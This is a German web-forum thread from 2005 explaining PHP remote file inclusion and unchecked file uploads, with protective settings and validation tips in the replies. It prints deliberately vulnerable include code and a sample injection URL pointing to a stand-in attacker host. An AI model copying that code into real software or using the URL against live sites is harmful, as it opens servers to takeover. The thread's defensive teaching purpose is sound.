• Aktualisierte Forenregeln

    Eine kleine Änderung hat es im Bereich Forenregeln unter Abschnitt 2 gegeben, wo wir nun explizit darauf verweisen, dass Forenkommentare in unserer Heftrubrik Leserbriefe landen können.

    Forenregeln


    Vielen Dank

PHP Injection - Wie, Warum, Hilfe?

ZAM

Inventar
Mitglied seit
28.09.1997
Beiträge
3.354
Reaktionspunkte
1.482
Eine Abhandlung über das Thema: PHP-Injection
von Ch. Zamora (c)2005

-------------------------------------------------------------------------------
Vorwort
-------------------------------------------------------------------------------
Das ist mal wieder ein Beitrag zum Thema:
"Es gibt zuviele unbegabte Hobby Scriptkiddies im Internet."

Dies sind jene, die das Internet mit vermeindlich professionellen Werken zupflastern, wo sich hinter dem standard Photoshop Design nichts weiter verbirgt, als ein eher schlechter Hyprid Code, unübersichtlich vollgemüllt mit HTML, ohne echte Klassenstrukturen.

Btw.: Obwohl eine recht simple Sache ist solche Exploits zu entwickeln, werde ich in dieser Ausführung keine Beispiele dafür nennen oder zeigen.


-------------------------------------------------------------------------------
1. Was genau ist PHP-Injection: (Kurzform)
-------------------------------------------------------------------------------
Unsauber geschriebene PHP Projekte bieten meist sicherheitslücken die es entfernten Angreifern ermöglichen Ihre eigenen Scripte direkt auf dem Webserver des Opfers auszuführen.
Dies ermöglicht Ihnen teils die komplette Kontrolle über den Angegriffenen Webserver zu erhalten bzw. Daten auszlesen und zu manipulieren.

-------------------------------------------------------------------------------
2. Der Fernzugriff (Variante 1)
-------------------------------------------------------------------------------
Durch unsaubere PHP-Scripte mit direkten Includes wird es einem Angreifer ermöglicht, seine eigenen Scripte auf dem Webserver des Opfers auszuführen.

-------------------------------------------------------------------------------
2.1 Beispiel: Grundaufbau der PHP Datei: (Simple)
-------------------------------------------------------------------------------
<?
include ($page);
?>
bzw.
<?
$fp = fopen($page, 'r');
?>

-------------------------------------------------------------------------------
2.2 Variante 1 - So funktionierts
-------------------------------------------------------------------------------
normaler URL-Aufruf
http://www.seite.de/index.php?page=xyz.html

Hier wird einfach eine Seite xyz in die PHP Datei included und angezeigt.

Injection URL-Aufruf:
http://www.seite.de/index.php?page=http://www.angreifer.de/script.php|txt|usw.

Das Script welches auf der angreifer.de domain läuft, wird direkt included. Die darin befindlichen Befehle beziehen sich dann aber auf den Server von seite.de .
Dabei ist die Endung des aufzurufenden Scriptes vollkommen egal. Es handelt sich hier um sogenannte Exploits.

-------------------------------------------------------------------------------
2.3 Variante 1 - Angriffsversuche erkennen:
-------------------------------------------------------------------------------
Schaut in das Server Logfile des Webservers:

statt:
127.0.0.1 - - [11/May/2005:11:39:17 +0200] "GET /index.php?page=xyz.html HTTP/1.1" 200 49

steht dann ca. folgendes:
127.0.0.1 - - [11/May/2005:11:39:17 +0200] "GET /index.php?page=http://www.angreifer.de/script.php|txt|usw HTTP/1.1" 200 49

Dies macht es vor allem auch einfach den Angreifer zurück zu verfolgen.
Leider gestaltet sich das etwas komplizierter bei der Ablage dieser Exploits auf Freespace Accounts.

-------------------------------------------------------------------------------
2.4 Variante 1 - Schutzmaßnahmen:
-------------------------------------------------------------------------------
Es gibt Möglichkeiten dies zu verhindern:

1. Man darf keinesfalls direkte Includes verwenden, wie im oberen Beispiel, welche Dateien direkt ausführen und es ermöglichen Pfade extern anzugeben.
2. PHP und der jeweilige Webserver bieten einige Optionen die den Aufruf von Fremdverlinkungen ausserhalb der laufenden Domain und der Documentroot verhindert können.

Direct im Script:
@ini_set('allow_url_fopen', 0); // Dies ist aber nur ein direkter Schutz für den fopen include.

php.ini:
allow_url_fopen = Off
safe_mode = On

Es gibt noch weitere Einstellungsmöglichkeiten um sich einigermaßen abzusichern.
Ich kann nur empfehlen sich die PHP Safe Optionen mal genauer anzuschauen oder sich an Möglichkeit 2 zu halten, denn nicht jeder Scripter hat auch die Möglichkeit seinen Account/Webserver/Webspace auch zu konfigurieren.
Achtet einfach darauf wie ihr die per GET und POST übergebenen Variablen handled.
Unter anderem sollte man auch darauf achten mit welchen Rechten und Benutzern die jeweiligen Dateien und der Webserver arbeiten, sofern man alles selbst konfigurieren kann.

Beispiel für die Simple Version bezogen auf das Beispiel des Grundaufbaus:
http://www.seite.de/index.php?page=xyz
<?
$page = (@ini_get(register_globals)==1) ? $_GET[page] : $HTTP_POST_VARS[page];
$file = @sprintf('%s.php', $page);

if(@file_exists($file))
include($file);
?>


-------------------------------------------------------------------------------
3 Das Upload Problem (Variante 2)
-------------------------------------------------------------------------------
Manche Seiten bieten die Möglichkeit eigene Dateien und/oder Bilder anzubieten, bzw hochzuladen.
Beim Upload dieser Dateien werden diese meistens nicht auf gültige Dateitypen überprüft, so dass ein Angreifer mit der Berechtigung zum Upload eine beliebige PHP-Datei hochladen und direkt unter dem Upload Verzeichnis ausführen kann.

-------------------------------------------------------------------------------
3.1 Variante 2 - Angriffsversuche erkennen
-------------------------------------------------------------------------------
Wenn man sie erkannt hat ist es meist schon zu spät. Man sollte schon beim erstellen des Scriptes darauf achten was man tut.

-------------------------------------------------------------------------------
3.2 Variante 2 - Schutzmaßnahmen:
-------------------------------------------------------------------------------
Der eine Weg ist die Konfiguration des Webservers. Hierbei gibt es die Möglichkeit per config das upload Verzeichnis Scriptfrei zu halten indem man das ausführen von scripten spezifisch dafür untersagt. Das ist auch per htaccess möglich je nach den Möglichkeiten die der Provider bietet.

Weg 2 wäre das Überprüfen des Mime Types.
PHP bietet direkt in der $_FILES/$HTTP_POST_FILES Variable den Wert 'type'. Dieser gibt den Mime-Type der jeweils hochgeladenen Datei zurück. Mit einer Liste von erlaubten Dateitypen kann man das Script somit absichern.
Der andere Weg wäre das temporäre ablegen der hoch geladenen Datei, öffnen des Headers und die Bitwise Controle des Dateikopfes. Das ist aber für die meisten Hobby-Scriptern zu kompliziert.

-------------------------------------------------------------------------------
Nachwort
-------------------------------------------------------------------------------
Die Aufgeführten Code-Beispiele sind nicht professionell sondern beruhen nur auf den simpelsten PHP Strukturen, geeignet für Anfänger und jene Gruppierungen die ich im Vorwort beschrieben habe.
-------------------------------------------------------------------------------
ps.: Ob Peter Huth das auch weiss? MUAHAHAHAHAHHAHAHAHAHHA :B
 
... auch genannt XSS, Cross Site Scripting.
zu pkt. 2: ganz einfach, man darf keiner variable vertrauen, die man nicht selbst (--> im skript) gesetzt hat. wenn die entsprechende quelle allerdings mit unsicheren parametern "gefuettert" wurde, darf ich auch diesem ergebnis nicht vertrauen. ganz einfache regel:
All input is evil, until proven otherwise! (Michael Howard)
also: alles pruefen, bei dem beispiel hier (mit dem dateinamen) also zB mit einer regular expression:
if (@preg_match('/[^0-9a-zA-Z_.-]/i',$page)) exit;
oder bei "id"s, die ich in die datenbank einsetzen moechte:
if (!@is_numeric($id)) exit;

mit diesem problem verwandt ist auch die sql injection. damit kann ich mit einem einfachen seitenaufruf gesamte datenbanken loeschen.
etwas sicherheit kann man mit allen is_*() funktionen oder mysql_real_escape_string() erreichen.

links:
http://de3.php.net/preg-match
http://de3.php.net/is-numeric
http://de3.php.net/mysql-real-escape-string
http://www.aspheute.com/artikel/20011030.htm
http://www.heise.de/security/artikel/43175
 
War das jetzt eine Erweiterung oder Korrektur? oO
 
Falls jemand seine Seite auf Includes aufbaut kann er auch den Include mit Caseabfragen machen und somit genau bestimmen bei welchem Wert der Variable, welche Seite included wird.
 
soulsaver am 02.06.2005 17:42 schrieb:
Falls jemand seine Seite auf Includes aufbaut kann er auch den Include mit Caseabfragen machen und somit genau bestimmen bei welchem Wert der Variable, welche Seite included wird.

Das nennt man dann auch un-dynamischen trashigen Kindercode. *g*
 
Zurück